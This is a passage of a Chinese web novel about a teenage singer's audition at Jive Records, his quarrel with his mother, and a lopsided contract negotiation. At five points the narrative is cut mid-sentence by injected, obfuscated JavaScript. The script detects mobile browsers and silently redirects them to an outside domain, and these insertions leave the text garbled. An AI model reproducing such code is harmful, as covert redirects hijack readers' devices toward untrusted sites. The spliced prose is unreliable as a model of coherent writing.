阿尔文的长相其实并不符合美国人金发碧眼的主流审美。他长得一点也不甜，反而格外古典，像是古希腊神话中走出来的美少年。 浓密的黑发微微卷曲，灰蓝色的眼睛像阳光下轻轻荡漾的湖泊，干净澄澈。此刻正专注地看着眼前的钢琴。 他稍微适应了一下，然后就开始弹起为这次试镜提前准备好的歌。 温柔缠绵的钢琴声响起。 这是迈克尔杰克逊今年夏天新出的《Youarenotalone》。在专辑刚刚发行的时候，阿尔文就买了好几张回家，一张用来听，一张用来收藏，还有一些摆在架子上好看。而整张专辑里，他最喜欢的就是这首主打。 他很少听抒情曲，但这首歌却伴随着阿尔文渡过了很多不那么美好的夜晚。 “Anotherdayhasgone， i''mstillallalone, howcouldthisbe, you'' ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177985|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' renotherewithme.” 他轻轻哼唱着，仿佛又回到了自己独自躺在床上的时刻，为学校的事情烦躁，为妈妈的强势而郁闷，为自己离长大太远而苦恼。 而MJ的歌陪伴了他，用天使般温柔的嗓音告诉他，你并不孤单。而阿尔文希望自己能表现出他的情感。 在阿尔文开口的一瞬间，约翰的心底就已经开始层层评估。音色相当不错，清脆明亮，没有沉闷感。音域很宽，技巧熟练，高低音转换自然，甚至游刃有余。 当然，这些都不是重点，可以后天训练的技巧只能占据评判标准的一小部分，约翰最在意的是阿尔文能通过自己的声音传递情感。 原唱传达的是忧伤而又温暖的爱意，而阿尔文很好地理解了那份爱，虽然没有那么深情，但是多了份坚定和勇敢。 “Youarenotalone,iamherewithyou.” 工作室的窗户没有完全关上，有风吹过男孩浓密的黑发，阳光在他的脸上轻轻跃动，时间在这一刻似乎也放慢了脚步，听着男孩温柔的轻唱。 很有感染力。 一曲结束，阿尔文睁开眼，从歌声中抽离开来，然后默默地松了口气。还好没出差错，这首歌真的很难驾驭，他练习了相当长时间才录出满意的demo，今天来面试前也生怕出现车祸现场，好在没出任何问题。 “非常，非常棒！很充沛的感情！我完全可以从你的歌声中听出来你想要表达的那种温暖。但你是怎么做到的？”约翰惊奇地询问：“像你这个年纪一般很难共情这种歌曲，你知道的，因为它有点悲伤。” “也许是因为我花了太多个晚上听这首歌，你知道的，夜晚的情绪总是很充沛。”阿尔文开了个小玩笑，假装抹了抹眼泪。 大家都哈哈大笑起来。 接下来的几首歌同样精彩，根本不需要互相询问意见，他们都能看出彼此的满意和认可。如果不是考虑到要在年轻人面前保持稳重冷静的专业形象，几个制作人早就迫不及待地去上报高层，然后催他们签下这个年轻人。 至于要怎么平衡艺人之间的资源分配，那就是高层要头疼的事情了。 10. 《Why Not Believe “非常非常动人的共情力，继续保持，它会让你的歌比其他人多了很多质感。” 夸完，约翰·乔尔又意犹未尽地翻阅了一下阿尔文的资料，然后惊奇地和他核对：“你的资料上写着你可以自己原创，那是真的吗？” 阿尔文答道：“是的，我自己写过几首歌。” “那不如给我们展示一下？不用太多，选你最拿手的一曲就好。” 这句话只是客套，约翰·乔尔其实并没有抱太大期望，谁会对一个青少年有太多要求？ 但他确实想要通过歌曲来看看阿尔文对旋律和音乐的理解。因为很多时候，灵感实在是一种玄而又玄的奇妙感觉，必须同频率才能get到对方的意思，有一定的创作能力意味着可以更快、更好地理解制作人想要传达的意图。 毕竟既有创作天赋，又有嗓音条件的人实在太少太少，大部分好音乐还是要靠歌手和制作人的共同努力。这种优秀且有天赋的歌手对于任何一个制作人来说，都是不可多得的人才和合作伙伴。 “好的。”阿尔文抿了抿唇，有些紧张地点头。 虽然早就有准备，但真的到这一刻的时候还是难免会有些不安。实话说，他的简历上本来并没有能够原创这一条，因为说是原创，但他根本没有系统性学过编曲和创作，只是自己琢磨着写些旋律。有的时候是随便哼出的曲调，有的时候是钢琴上几个连贯的音节，自然而然地就谱成了歌曲。他自己很喜欢，但并没有经过专业人士的检验。 听完他的焦虑后，有着丰富面试经验的瑞恩熟练地给他出主意：“要想获得机会，就要先学会自我包装，给自己编几个响亮的头衔。比起那些必须要有凭证的奖项，说自己会创作简直是世界上最简单不过的事情了！最差的结果不过就是被评价口水歌，但你写的明明不是。相信我，那些歌很有趣！” 他深呼吸一口气。 没错阿尔文，你的歌很有意思，相信自己！ 给自己打完气，他装作不经意间在裤子上擦了擦手心因为紧张出的汗，然后端正身姿，扬起一个精心设计过的笑容，和面试官介绍：“我的朋友告诉我去唱片公司试镜的时候，你需要主动，需要学会推销自己。” “还有什么比写首歌更主动的呢？” 这也是事先设计好的动作和话术，运用你的优势，阿尔文！ 进入状态后的年轻人俏皮地眨了下右眼，蓝眼睛亮晶晶的，看起来活泼又自信，根本看不出来一点紧张，甚至游刃有余：“所以我写了这首很快乐的歌，希望你们喜欢。” 紧接着，不等人回复，一股轻快的旋律便蹦跳着从琴键上一跃而下。 约翰·乔尔挑了下眉毛。仅仅是几个音符就能窥探出整曲的基调，前奏简单但非常抓耳，他在心里默默地提高了评分下限。 就在他准备继续听下去时，钢琴声突然戛然而止，卡得人不上不下。 “……哦，差点忘记说了，这首歌的名字叫做WhyNotBelieveMe。”阿尔文从钢琴旁探出半个脑袋，尴尬地笑了一下，然后又重新端正坐好，继续自顾自地弹起来。就是动作变得有些僵硬，连背影都透着股局促。 几个成年人的脸上全都不自觉地挂起笑容。之前表现得那么冷静，他们还以为对方真的特别成熟。果然，还是青少年啊。 好在尴尬虽尴尬，但阿尔文还是依靠着肌肉记忆顺畅地弹了下去，并且随着旋律逐渐铺开，迅速浸入音乐的世界，很快便忘记了刚刚的窘境。 接下来的歌曲就像是这个插曲一般活泼。 轻快的节奏，明亮的大调，钢琴清脆的声音恰到好处，像是在洒满了阳光的小路上蹦蹦跳跳，而年轻人正在叽叽喳喳地诉说着他的梦想，他的音乐。 「请相信我吧！我会像MJ一样闪亮全场！ 从看台到前排，我的演唱会会让你疯狂！」 虽然是反问的语气，但话里话外都在说着，请相信我吧。 「请相信我吧！我会登上电视，成为头条， 让夜晚亮如白昼，比聚光灯还要闪亮！」 跳跃的旋律让人忍不住跟着摇摆，只是听着就忍不住嘴角上扬。 在主歌和副歌交替出现后，接下来是一段非常柔和的清唱，原本连蹦带跳的速度骤然减缓，像是突然停下脚步喃喃自语。钢琴伴奏声压得很低，也就更加衬托出少年声音的干净与澄澈。 “Itmight ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177986|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' takeonlyoneday， orneedallsummerlong.” 「也许只需要一天，也有可能漫长到整个夏季，但我会一直唱下去。」 阿尔文轻哼着中间的bridge，笑容灿烂。 “AndwhenIsingthatnote， You''llfollowmygoldensong.” 「而当我唱出那个音符时，我确信你会跟随我的节奏。」 约翰和同事对视以后，都从对方眼里看到了兴致。 倒不是说歌曲本身有多么令人惊艳，确实好听，悦耳，也有火的潜力，但是对这些成熟的音乐制作人来说，比起刚刚展示的唱功和歌喉，阿尔文这首原创就要显得寡淡许多。 但音乐创作并不是只看歌曲本身，还要看创作背景和市场需求。 目前的主流市场上除了受众稳定的流行和R&B，到处充斥着阴郁的垃圾摇滚和街头嘻哈，歌词内容不是在进行社会批判，就是在谈论爱情，虽然也好听，但沉重的东西听多了难免会压抑，这时候就需要点轻松愉快的东西缓解心情。 而这首《WhyNotBelieveMe》就相当的乐观和惬意。当然，这种轻快的旋律在现在可能并不会被主流市场认可，估计传统乐评人更实惠大肆批评其过于流行的曲调，抓耳的副歌和积极能量也会被认为是没有内涵的肤浅甜歌，像是泡泡糖一样甜蜜但过后便味同嚼蜡。 但jive唱片现在在做什么？ 在计划开拓青少年市场。 而青少年喜欢什么？ 喜欢爱得死去活来的成人故事吗？喜欢社会批判吗？喜欢阴郁垃圾摇滚吗？肯定会有人喜欢！但不可否认的是，也有很多喜欢这些的只是因为音乐市场上没有给他们更多选择。 而现在有一个他们的同龄人，唱着风格轻快、朗朗上口的歌曲，唱着对梦想和自我的追求，有才华，有实力，而且恰好又有一张所有青春期少男少女都会喜欢的漂亮脸蛋…… 那么之前所有的缺点就会变成优势，完全就是投其所好。 几乎任何有脑子的人都可以想象那到底会有多火爆! 11. 她知道了 “当幕布落下，当人潮散去，你会像别人讲述这个故事吗？关于你如何相信了我……” 当阿尔文唱完最后一句，还沉浸在轻快和有些怅然若失的情绪中，看向面试官时，就看到了三双“如狼似虎”的眼睛，吓了他一跳。 怎么了，不满意吗？果然还是不行，阿尔文有些懊恼，忍不住紧张地攥紧了拳头。早知道就打安全牌，准备面试官更喜欢的风格了。 然而下一秒，情况便峰回路转。 他听到其中一名制作人激动地询问：“你还能复刻出其他这种类型的歌吗？我的意思是，同样水准的，关于年轻人的歌曲？” 听起来好像不是不满意的样子？阿尔文又有了希望，蓝色的眼睛从暗淡慢慢亮起：“年轻人的歌曲？是的！当然！我一直在尝试着通过歌曲来写自己的生活，自己的故事，所以当然是年轻人的歌曲。至于质量水准，我会尽我最大的努力！” 没有谁敢保证自己可以一直高质量产出，但可以用语言稍微包装一下事实。这可不算诈骗。 约翰·乔尔的语气就要更加温和，但也难掩激动：“我真的非常喜欢这首歌，虽然我已经算不上年轻，但还是能从中感受到那种活力。你觉得你之后可以继续往这个方向创作吗？我们很想看到更多的，以你们年轻人的视角的歌曲。” 阿尔文敏锐地从这段话里捕捉到深层含义，笑容不自觉地扩大：“……我可以把这句话当作是对我表现的肯定吗？” “是的！当然可以！”三个面试官全都笑起来：“虽然这么说有点早，但是迈瑞克先生，非常期待我们之后的合作。” —— “所以你居然到这一步了还没有告诉你的妈妈！”瑞恩·高斯林震惊，在电话那头不敢置信：“我真不敢相信，阿尔，你到底在想什么？” “我也不知道。”阿尔文把脑袋埋在被子里试图逃避这个事实：“你说有没有一种可能，我可以跨过这个过程，直接和jive签约。” “那你有没有想过另一种可能，那就是你还是个未成年，需要监护人签字合同才能生效呢？” 该死！阿尔文当然没忘记这件事，只是不愿意面对罢了。他根本不觉得自己可以说服母亲。 面试结束后，虽然没有直接发出邀请，但阿尔文能感受到对方对他非常满意，进入到下一步估计十拿九稳。兴奋的他回来以后便立刻打电话通知了好友瑞恩·高斯林这个好消息。 两个青少年在电话里开心地蹦哒了好一会。直到瑞恩突然想起来问阿尔文，他的母亲克莱尔知不知道这件事，气氛便急转直下。 “我觉得这是一项不可能的任务。”阿尔文评价：“她希望我能专注在学业上，考上哈佛耶鲁哥伦比亚，whatever，只要含金量够高就行。专业最好是商学或者经济学，之后再进修个法律硕士，最好一毕业就拿到华尔街的offer，一直走在正确的道路上。” 而如何定义正确，谁又能定义正确？ “现在要我告诉她，我要像父亲一样投身娱乐圈，不务正业去当个歌手？相信我，她会先揍我一顿，然后再拿着枪去杀了我父亲的！” 瑞恩问：“那你的父亲呢？” “我不知道，”刚刚还情绪激动的阿尔文提到这个话题就突然泄气，“……我已经很久没见过他了，唯一能确定的事就是他还活着，因为银行卡每个月都有收到固定转账。事实上我甚至怀疑他根本就忘记还有我这么个儿子了。” 灰蓝色的眼睛里闪过黯然。 “……你还真是活在水深火热中啊。” 瑞恩思考了好一会该说什么，但感觉说什么都不合时宜。这种家庭问题对一个15岁的青少年来说还是太复杂了，哪怕他自认为要比一般小孩成熟，也没有办法提出切实有效的解决方案。 但有一件事可以确定，逃避只会让事情变得更严重。 瑞恩对着电话郑重地说：“听着，阿尔，虽然你的情况很麻烦，但我能肯定的是，瞒着克莱尔绝对不是个好主意。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177987|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拖的时间越长，最后她可能就会越生气。” “……我当然知道。”阿尔文眼神发直：“但我可能还需要一点时间，最起码让我想想到底该怎么说。” 不过还没有等到阿尔文想好该怎么告诉克莱尔这件事，他就在下午放学时在校门口看见了熟人。 金发碧眼，妆容精致，穿着职业套装的干练女性站在车边，一看见他，开口第一句话就是：“你完了。” 这是他母亲的助理艾米莉，除了负责工作上的事务外，也会帮忙处理一些生活琐事。偶尔克莱尔无法到场的事情都是艾米莉代替办理，比如说入学手续、每月的家校会议……阿尔文和她的关系还不错。 “发生了什么？”阿尔文心中升起了不好的预感。 “你是不是给RCA投了简历？”艾米莉没有卖关子，直截了当地问：“这家唱片公司今天上午没有联系上你就给我打了电话。而非常不幸的是，我当时在和你母亲工作，她听到了。” 因为克莱尔的工作很忙，阿尔文的紧急联系人一般填的都是艾米莉，填顺手后这次也不例外。 阿尔文只觉得晴天霹雳，喉结艰涩地滚动了一下，声音都颤颤巍巍：“……那她什么反应？” “我只能告诉你，你完了。”艾米莉表情沉痛，摇摇头，一副为他默哀的样子。“本来今天还有个重要的客户会议，但克莱尔推掉了，不敢置信，她居然推掉了工作。” 是啊，对于工作狂克莱尔来说这几乎是不可能的事情，尤其是最近还是她在晋升VP的关键时期。 于是在整段路程里，车内的气氛都十分紧绷，艾米莉好几次想说什么，又在看到阿尔文糟糕的脸色后咽回去。 直到把男孩送到公寓楼下，在对方开门前她还是叫住人，并给出自己真挚的祝福：“希望我明天早上还能见到活着的你。” 阿尔文扶着车门，无比虚弱：“应该不至于这么严重……” 艾米莉撇撇嘴，不置可否：“总之祝你好运。” 12. 不欢而散 在门口做了十分钟心理建设后，阿尔文才鼓起勇气用钥匙打开了家门。 公寓里十分安静。 以往的角色互换，这次等在家里的换成了母亲克莱尔。她坐在沙发上，从门口的角度只能看到一个沉默的侧影。 阿尔文僵硬地把钥匙放在置物架上，踌躇着不敢向前。他是真的很害怕接下来要面对的狂风骤雨。 “过来。”克莱尔说。 很平静的语气，却让阿尔文不自觉地打了个激灵。他强忍着夺门而逃的冲动，听话地走到克莱尔对面的沙发上，双膝并拢，一副乖巧的模样。 “为什么你没有告诉我这件事？” 阿尔文心虚地瑟缩了一下，但还是鼓起勇气反驳：“那我提前说了，你会同意吗？” “不会。”克莱尔答得很干脆。 “看见了吗？那就是为什么我不提前告诉你的原因。”阿尔文一拍手掌，试图活跃气氛，但在对上克莱尔视线的时候不自觉地压低声音，到最后直接闭嘴。 那双与自己如出一辙的灰蓝色眼睛写满了他看不透的东西，让阿尔文感到不安。 克莱尔沉默地看着阿尔文，唇角绷得笔直，表情冷硬得像是结了冰，良久才又开口：“今天RCA的电话我也听见了，全部的内容。他们在电话里许诺会让你尽情地展现自我。唱歌，跳舞，在舞台上做大明星，听起来多美好啊，不是吗？” 可接下来话锋一转，甚至有些咬牙切齿：“但真的能信吗？你真的敢信吗！阿尔文·亚杜尼斯·迈瑞克，我从来没有想过你居然会有这么天真。” “只要进了那个圈子，你很快就会知道什么是吃人不吐骨头的恶狼。那些人，那些满脑子都是利益的人渣，每个都是流着口水的豺狼，恨不得从你身上撕下全部的肉。他们会诱惑你、逼迫你、榨干你身上的每一份价值。音乐？唱片？你以为你真的能只做音乐吗？告诉我，你真的相信吗？” 简直天真到可笑。 “……我真希望你能好好看看你现在的样子和你父亲当年多像，满脑子不切实际的幻想，幻想着名利、财富、聚光灯，简直可笑。好莱坞这个词到底有什么魔力，能让你们父子全都被冲昏了头脑？” 和预想中一样的反应，最糟糕的事情还是发生了。阿尔文闭了闭眼，不知道该怎么为自己解释。但他知道无论自己说什么，都会被认为是在强词夺理，于是索性闭嘴，期望这样可以让母亲少骂两句。 这副沉默的样子反而让克莱尔愈发愤怒。 她注视着眼前的孩子，只觉得他正在慢慢和另一个让她厌恶的影子重叠，刻薄的语言就在舌尖打转，又被她自己强行咽回去。不能这样，她不能把对前夫的厌恶投射到孩子身上，这不公平。 但逐渐失去控制的一切又让克莱尔无比焦虑。 她和阿尔文分开得太早也太久，以至于彼此都无法习惯对方的存在。虽然生活在同一屋檐下，却像是最熟悉的陌生人，这两个月来的和谐场面也不过是双方心照不宣的粉饰。 大家都小心翼翼地避开对方的底线，甚至远远避开。 很有分寸感，可那不是家人、不是母子该有的距离。她想要改变，但却做不到，工作已经耗费完克莱尔的所有力气，所以她只希望阿尔文别给她惹麻烦。 “就只是……做个乖孩子，好孩子，像所有普普通通的同龄人那样，别给我惹麻烦不行吗？”克莱尔揉了揉太阳穴，只觉得身心疲惫。 “我很失望。也许我根本没有资格管你，我也是个不合格的母亲。”她看向对面孩子的眼神复杂：“但是阿尔文，你父亲抛弃了家庭，那你呢，你要抛弃什么？” “我什么都不要抛弃！” 早在听到我很失望几个词时，阿尔文就觉得大脑一片空白。他觉得很荒谬，不明白自己只是想追求梦想，为什么要像犯罪一样被审判，被否定。 在听到抛弃时，更是直接腾地一下站起身，不受控制地喊出口。 当初离婚时毫不犹豫离开的是克莱尔，为了名下艺人随便一件小事就把才到成年人小腿高的他丢给祖父母的是理查德。祖父祖母去世后，他又被寄养在了亲戚家，后来又辗转在理查德的朋友家。在那些时间里，唯一会一直陪伴他的只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177988|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有音乐。 他能抛弃谁？他能抛弃什么？阿尔文不明白。 他试图为自己争辩：“行行好，妈妈，你告诉我我还有什么可以抛弃的？你不能把对父亲的愤怒转移到我的身上！他的错误和我有什么关系？我做错了什么？我只是想要做点我喜欢的事情，我做错了什么？” “你做错了什么？你问我你做错了什么？”克莱尔的脾气也上来，音量越来越高。 如果说刚刚只是为了不表现得咄咄逼人才强压下怒火，那现在她完全不再忍耐。头发凌乱，胸口剧烈起伏，平日里总是一丝不苟，精致到脚趾的精英形象早已不复存在，显然被气得不轻。 “你背着我悄悄投了那么多家公司，如果不是不小心被我撞破，你还打算瞒到什么时候？是不是等到签约了以后才打算告诉我！这么大的事情，你到底是怎么敢的？HOWDAREYOU！” 在情绪达到一个顶峰时，阿尔文反而变得冷静。 他回答地很干脆：“很明显，因为从你那里我得不到除了拒绝以外的任何答案。” 两人之间彻底不欢而散。 出于未成年人保护法，克莱尔倒没有让阿尔文独自在家，但早出晚归，硬是让阿尔文再也没有在清醒时间看到过对方，态度不言而喻。 母子二人前段时间精心维护出来的和谐气氛烟消云散。 公寓冷冰冰的本质暴露在现实里。 好在阿尔文很习惯这种无人问津的生活，最起码不用像之前寄住在别人家里时，还要小心看人眼色。 就在这个时候，jive唱片递来了签约邀请，公司高层要和他洽谈关于签约与合同的相关事宜。 在看到信息后，阿尔文只用了一秒便猜到了克莱尔的答案。他不想要为这件事再去和母亲争吵，他不可能放弃音乐，也不想退让。但问题总要解决。犹豫再三，他还是下定决心，拨通了那个很久没有联系过的电话。 打了好几次后电话才接通。嘟的一声后，不等对面说话，阿尔文便率先开口。 他直截了当地说：“我需要你的帮助，理查德。” 13. 会面 最开始听到汇报的Jive高层们并不那么心动，具体想法大概是：“哇哦，那听起来不错，但我们已经有了后街男孩，为什么还要冒险再推一个Solo呢？” 比起solo歌手，很明显是多人组合更有性价比，不仅能够吸引不同类型的粉丝群体，还能降低依赖单一明星的风险，毕竟可不是人人都是MJ、惠特尼。 而且同时推出两组青少年艺人？先不说他们内部的资源分配问题。jive唱片可不是什么音乐霸主，可以任性地同时推出多组艺人。他们的资源相对有限，只能集中在部分艺人身上。 此外，就只单单从市场需求来说，真的有那么多人想听男孩们唱歌跳舞吗？没人敢打包票。公司在后街男孩身上投入了大量资金和宣传资源，在获得确切的回报前，暂时并没有多余的精力去另外准备一个备选。 不过在负责面试的制作人递交磁带和录像后，这些人的态度又变得模棱两可。 “嗯……虽然冒险，但好像也不是不可以。” “我认为值得一试。” “不如先把人签下来，至于以后的事情……到时候再说？” 总之，虽然没有想好该怎么处理阿尔文，但商人逐利，谁也不愿意放任这么一个可以下金蛋的宝贝从自己手中溜走。于是jive唱片内部便迅速拟好合同，并且打电话给阿尔文留下的号码，邀请他来公司洽谈合约。 —— 上次的面试官约翰·乔尔刚进会议室，就看到会议室内坐着几个西装革履，衣服挺括的同事。而与这些精英形象形成鲜明对比的，则是他们对面那个孤身一人，虽然穿着得体的衬衫，但座位旁边还放着书包，看起来就像是刚放学就赶过来的年轻人。 察觉到约翰·乔尔进来后，年轻人明显松了一大口气，然后在其他人看不到的角度使劲朝他招手。 约翰·乔尔顺着坐过去，惊讶地问：“只有你一个吗？你的父母呢？我以为他们会和你一起。” 上次面试结束后他有顺便询问阿尔文有没有经纪人，得到的回答是否定的。所以他以为这次商谈签约事项的重要场合，阿尔文的父母至少会到场。 “父母？”阿尔文撇撇嘴：“哦，他们没有时间。” 约翰·乔尔：“没有时间？”虽然不是正式签约，只是前期洽谈，但难道忙到连孩子这么重要的事情都不管吗？ “是的，没有时间。” 阿尔文不想深入这个话题。就在他思考如何拒绝约翰·乔尔的好奇心，转换话题时，会议室的大门再次被打开。 这回进来了一大堆人。 领头的是一个西装笔挺的中年男人，大概四十多岁出头，面容严肃，梳着一丝不苟的背头，眉间有着深深的皱纹，衬衫袖口露出一块看起来格外昂贵的腕表，一派精英模样。 中年男人一出现，会议室里原本坐着的几人全都站了起来。 看来来人的地位不低。阿尔文左右观察了一下，也顺着人潮跟着站起来，悄悄猜测着来人的身份。 “下午好各位，所有人都到齐了吗？”中年男人松了松领带，视线在会议室扫了一圈，最后落到了阿尔文的身上。 一双锐利的眼睛将阿尔文上下来回打量了个遍，毫不掩饰其中明显的评估意味，仿佛眼前的年轻人不是一个活生生的人，而是可以被随意估价的商品。 阿尔文不喜欢这个眼神。 他条件反射地就要皱眉，又意识到自己现在还未签约，最好不要表现得太刺头，只好强压下那种不适。 还没等他想好怎样合理反击，中年男人又切换了一副面孔，这次是和蔼可亲的模样，仿佛刚刚那个商人不是他一样。他径直走到阿尔文面前，伸出手，笑容满面：“你一定是阿尔文·迈瑞克，我是巴里·威尔斯，jive的执行总裁。” 执行总裁？阿尔文不由自主睁大了蓝眼睛。没人告诉他执行总裁也会来啊！ 巴里·威尔斯满意地看着这个效果。“通常情况下我可不会为了新人而出现在这种会议上，他们最多只能在签约成功后的庆功宴上看到我。” “但是。”他在但是上加强重音，笑容加深：“但是我的团队告诉我，我们可能要迎来下一个迈克尔杰克逊，那可真是太疯狂了！所以我说，嘿，我要自己亲自见见那个孩子！而你和他们说的一样，给了我很大的惊喜！” 如果是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177989|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般的新人，听到这样位高权重大人物的连番夸赞，一定会感到受宠若惊。他不仅为了你抽出时间，还认为你有可能和MJ一样！天呐，他肯定很赏识我！ 但原谅阿尔文的注意力有些发散，他只注意到了对方熟练的变脸技术，如果不是因为他很擅长察言观色，恐怕真的要认为对方非常非常欣赏自己了。 虚伪的成年人。 但阿尔文也并不是不擅长这个，稍稍酝酿一下情绪，他便立刻摆出一副受宠若惊的样子，使劲握住了对方递来的手，蓝眼睛里溢满了激动和欣喜：“哦！真的吗！那真是！太疯狂了！今天见面时我以为只是来谈谈合同，没想到还能见到您！这完全是我的荣幸，威尔斯先生！” 演完，阿尔文自己都觉得自己很装，但巴里·威尔斯明显很受用，对自己随便说些漂亮话就能获得想要的效果很得意。果然，十五岁的青春期少年就是好忽悠，被夸两句就能激动成这样。 刚开始还因为阿尔文没有带监护人和经纪人而感到被轻慢的威尔斯现在已经欣然接受，并开始思考如何才能利益最大化。毕竟忽悠青少年可比忽悠成年人要容易得多。 他满意地点点头：“坐吧，我的时间很紧张，我们最好加快点速度。” 随着巴里·威尔斯在长桌的另一侧正中央落座，jive唱片的其他人都跟着坐了过去，只留下阿尔文一个人在对面。 这是非常明显的谈判施压。 看起来仿佛是不经意间的选择，实际上是在制造无形的压力。对于内心脆弱的人，很容易就造成孤立无援的心理暗示。 阿尔文的心态倒是没有太大影响，主要是他还沉浸在自己刚才的矫揉造作中，不敢相信那些话都是自己说的。 约翰·乔尔原本也准备坐在同事身边，但发现只有阿尔文一个人坐在一边时又觉得不太好，犹豫了一下又坐回了他身边，换回男孩一个一言难尽的表情。 我不怪他给我传达错误消息，让我穿错衣服了。阿尔文想，这家伙看起来就是会在职场斗争中被率先出局的人啊。 约翰乔尔：“怎么了吗？” 阿尔文：“……没事，就是替你的工作感到担忧。” 14. 谈判 在双方落座后，助理很快就把合同文件分发给了在场所有人。 刚拿到自己那份，阿尔文便迅速翻开文件查看。纸张上写满了密密麻麻的条款，如果不擅长阅读长难句的人看到估计要捂着脑袋大喊头晕。阿尔文却看得很认真，而且随着不断翻阅，他的眉毛也愈发上扬，到最后都快扬到太阳穴去了。 这个条款…… 说真的，阿尔文对新人签约中的门道并不清楚，之前和迪O尼签约的时候是父亲理查德全程负责，他自己的法律意识并没有那么强，只知道这份合同条款里肯定会有很多陷阱。 但是。 但是他看得懂一些与自己切身利益相关的内容。 阿尔文轻轻摩挲了一下薄薄的纸张，只觉得这份文件简直就是一份烫手山芋，看得他眉头紧皱。就拿最最基础的版税问题来说吧，这份合同只提供5%的版税，而且还要扣掉包装费。 按照1995年音乐行业内部的规则，唱片公司通常会按照批发价格的80%左右和艺人计算版税，例如一张CD的零售价20美元，批发价只有10美元，如果版税是5%，意味着艺人从每张CD中只能赚到：10x80%x5%，也就是0.4美元！就这还没有算上包装费！ 而且阿尔文还注意到了后面有条款写着，如果首张专辑销量欠佳，那么版税可能要被用来抵扣进下一张专辑的制作费，从而降低风险。 唱片公司的风险是降低了，那他就一分钱没有了。 阿尔文还没有见过其他公司的合约，不知道其他厂牌的条件如何，但哪怕新人没有什么话语权，这个条件也未免过于苛刻。除此之外，还有版权归属、专辑制作控制权、合约年限和专辑数量…… 他仅仅只是翻阅了一下重要条款，就发现了如此多的问题，让阿尔文不禁开始反思，难道自己看起来真的一副很好骗的样子吗？以至于让人认为自己会同意这样一份合同？ 阿尔文忍不住看了眼身边的约翰·乔尔。这就是你面试说的很欣赏我，要帮我在上司面前美言几句？ 实际上约翰·乔尔现在也有点坐立难安。不是说很看好阿尔文所以要赶紧把人签下来吗？怎么给的条款是这样的？是签人还是在结仇啊？ Jive想签人是真的，不想给很高条件也是真的，这并不矛盾，毕竟商人所做的一切都是为了追求利益最大化。 这一版合同其实并不是jive的底线。他们同时准备了另一份待遇更加优渥的版本，但并没有选择直接拿出来，而先用一份苛刻的合同来试探阿尔文的底线。如果第一版就被接受，那么他们就大赚特赚，用最低的成本绑定了一个肉眼可见的潜力股，而且服从性还高。如果不能接受，那就拿出早已准备好的另一份合同，还能让艺人感恩戴德，怎么算也不亏。 巴里·威尔斯今天出现在这里，也是为了表现出公司对阿尔文的重视，让艺人和家属因为被重视而降低戒备心，最好忽略条款陷阱，那这一趟的目的就达到了。 不过今天阿尔文是独自前来，注定了这一套流程效果不能达到最大化。 注意到对面年轻人明显变化的脸色，巴里·威尔斯摇摇头，语重心长地说：“听着，孩子，我知道这份合同看起来有那么一点，你知道的，不太好接受，但每个新人都是这么过来的。你很有天赋，但是天赋在这里是最不值得一提的事情。” “在这里，每个人都有天赋，但最终能走到听众面前的寥寥无几。”他的手指在桌子上敲了两下，身体前倾，锐利的眼神看向对面的年轻人：“而要想成为superstar，就必须有强大的支持，去给你包装、制作、宣传、做完所有复杂繁琐的前期工作。你需要一个全力支持你的后盾，而我们会给你想要的。” 在他的示意下，助理将一支已拧开的万宝龙钢笔递过来，示意阿尔文签字。 